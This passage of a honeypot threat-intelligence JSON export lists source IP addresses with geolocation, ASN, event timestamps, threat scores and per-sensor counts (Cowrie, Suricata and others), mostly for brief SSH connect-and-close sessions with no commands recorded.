      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 137048,
      "as_org": "X-LINK LIMITED",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:02:19.086000+00:00",
        "last_seen_30d": "2026-05-07T11:03:42.316000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.219.170.62": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:21:37.852Z",
      "last_seen": "2026-05-02T03:21:55.863Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Varanasi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:21:37.852000+00:00",
        "last_seen_30d": "2026-05-02T03:22:58.399000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.219.194.240": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:35:26.493Z",
      "last_seen": "2026-05-09T14:35:42.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:35:26.493000+00:00",
        "last_seen_30d": "2026-05-09T14:36:49.896000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.22.72.159": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:30:35.663Z",
      "last_seen": "2026-05-25T03:32:35.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:30:35.663000+00:00",
        "last_seen_30d": "2026-05-25T03:43:25.502000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.227.165.4": {
      "attack_count": 2,
      "first_seen": "2026-05-10T22:04:18.661Z",
      "last_seen": "2026-05-10T22:04:38.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T22:04:18.661000+00:00",
        "last_seen_30d": "2026-05-10T22:05:46.490000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.60.222.20": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:11:46.639Z",
      "last_seen": "2026-05-23T02:12:16.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:11:46.639000+00:00",
        "last_seen_30d": "2026-05-23T02:13:21.786000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.148.8.66": {
      "attack_count": 2,
      "first_seen": "2026-05-27T05:43:48.886Z",
      "last_seen": "2026-05-27T05:43:49.057Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23923,
      "as_org": "Agni Systems Limited",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:43:48.886000+00:00",
        "last_seen_30d": "2026-05-27T05:44:57.685000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "120.157.244.143": {
      "attack_count": 2,
      "first_seen": "2026-05-19T22:01:58.872Z",
      "last_seen": "2026-05-19T22:02:19.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:01:58.872000+00:00",
        "last_seen_30d": "2026-05-19T22:03:25.855000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.23.132.13": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:11:52.614Z",
      "last_seen": "2026-05-22T14:12:05.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:11:52.614000+00:00",
        "last_seen_30d": "2026-05-22T14:13:11.898000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.177.240.61": {
      "attack_count": 2,
      "first_seen": "2026-05-05T12:53:37.325Z",
      "last_seen": "2026-05-05T12:53:50.394Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:53:37.325000+00:00",
        "last_seen_30d": "2026-05-05T12:54:56.082000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.243.111.1": {
      "attack_count": 2,
      "first_seen": "2026-05-10T05:19:51.888Z",
      "last_seen": "2026-05-10T05:20:06.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:19:51.888000+00:00",
        "last_seen_30d": "2026-05-10T05:21:17.068000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.247.85.213": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:37:49.899Z",
      "last_seen": "2026-05-09T08:38:03.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:37:49.899000+00:00",
        "last_seen_30d": "2026-05-09T08:39:08.967000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.24.71.66": {
      "attack_count": 2,
      "first_seen": "2026-05-22T07:46:27.842Z",
      "last_seen": "2026-05-22T07:46:40.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Dusit",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:46:27.842000+00:00",
        "last_seen_30d": "2026-05-22T07:47:41.100000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.121.98.231": {
      "attack_count": 2,
      "first_seen": "2026-05-11T23:01:08.197Z",
      "last_seen": "2026-05-11T23:01:20.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ubatuba",
      "asn": 265317,
      "as_org": "TRIXNET SERVICOS DE TELEINFORMATICA LTDA",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:01:08.197000+00:00",
        "last_seen_30d": "2026-05-11T23:02:23.306000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.53.152.196": {
      "attack_count": 2,
      "first_seen": "2026-05-25T00:26:49.426Z",
      "last_seen": "2026-05-25T00:27:02.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 270007,
      "as_org": "MORENO YANOC NEMIAS BERNARDO",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:26:49.426000+00:00",
        "last_seen_30d": "2026-05-25T00:29:45.775000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.205.75.211": {
      "attack_count": 2,
      "first_seen": "2026-05-15T11:37:49.171Z",
      "last_seen": "2026-05-15T11:38:02.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nurlat",
      "asn": 28840,
      "as_org": "Pjsc tattelecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:37:49.171000+00:00",
        "last_seen_30d": "2026-05-15T11:39:10.858000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.117.188.239": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:35:14.638Z",
      "last_seen": "2026-05-05T20:35:26.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Ciudad del Este",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:35:14.638000+00:00",
        "last_seen_30d": "2026-05-05T20:36:31.587000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.244.110.190": {
      "attack_count": 2,
      "first_seen": "2026-05-02T16:54:19.199Z",
      "last_seen": "2026-05-02T16:54:50.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Oravi\u0163a",
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:54:19.199000+00:00",
        "last_seen_30d": "2026-05-02T16:58:23.711000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "193.176.31.147": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:07:20.860Z",
      "last_seen": "2026-05-12T02:07:21.236Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 3,
        "ports_targeted_30d": 51,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T14:08:45.159000+00:00",
        "last_seen_30d": "2026-05-13T03:40:36.204000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Tanner": 11,
        "Cowrie": 2
      }
    },
    "196.188.161.187": {
      "attack_count": 2,
      "first_seen": "2026-05-07T02:25:47.484Z",
      "last_seen": "2026-05-07T02:26:00.503Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:25:47.484000+00:00",
        "last_seen_30d": "2026-05-07T02:27:07.334000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.123.73.211": {
      "attack_count": 2,
      "first_seen": "2026-05-14T13:05:29.002Z",
      "last_seen": "2026-05-14T13:05:41.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:05:29.002000+00:00",
        "last_seen_30d": "2026-05-14T13:06:49.400000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.21.30.54": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:45:07.770Z",
      "last_seen": "2026-05-23T08:45:21.174Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:45:07.770000+00:00",
        "last_seen_30d": "2026-05-23T08:46:24.474000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.59.71.92": {
      "attack_count": 2,
      "first_seen": "2026-05-16T10:49:55.262Z",
      "last_seen": "2026-05-16T10:50:08.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:49:55.262000+00:00",
        "last_seen_30d": "2026-05-16T10:51:12.512000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.229.229.89": {
      "attack_count": 2,
      "first_seen": "2026-05-14T09:53:41.440Z",
      "last_seen": "2026-05-14T09:53:54.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yilan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:53:41.440000+00:00",
        "last_seen_30d": "2026-05-14T09:54:58.671000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.21.70.189": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:43:59.028Z",
      "last_seen": "2026-05-06T10:44:11.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 209240,
      "as_org": "ISA.NET Sh.p.k.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:43:59.028000+00:00",
        "last_seen_30d": "2026-05-06T10:45:16.989000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.116.235.205": {
      "attack_count": 2,
      "first_seen": "2026-05-16T14:58:01.411Z",
      "last_seen": "2026-05-16T14:58:15.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 12091,
      "as_org": "MTNNS-1",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:58:01.411000+00:00",
        "last_seen_30d": "2026-05-16T14:59:24.235000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.173.70.114": {
      "attack_count": 2,
      "first_seen": "2026-05-02T21:06:04.042Z",
      "last_seen": "2026-05-02T21:06:16.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Socorro",
      "asn": 267807,
      "as_org": "PSI TELECOMUNICACIONES DE COLOMBIA LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:06:04.042000+00:00",
        "last_seen_30d": "2026-05-02T21:07:21.802000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.82.78.102": {
      "attack_count": 2,
      "first_seen": "2026-05-29T01:48:52.542Z",
      "last_seen": "2026-05-29T01:48:52.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 97.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 618,
        "days_active_30d": 29,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T00:27:13+00:00",
        "last_seen_30d": "2026-05-31T22:49:44.075000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 304,
        "Honeytrap": 264,
        "Miniprint": 27,
        "ConPot": 20,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "60.184.99.163": {
      "attack_count": 2,
      "first_seen": "2026-05-27T04:59:40.611Z",
      "last_seen": "2026-05-27T04:59:52.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:59:40.611000+00:00",
        "last_seen_30d": "2026-05-27T05:00:55.110000+00:00",
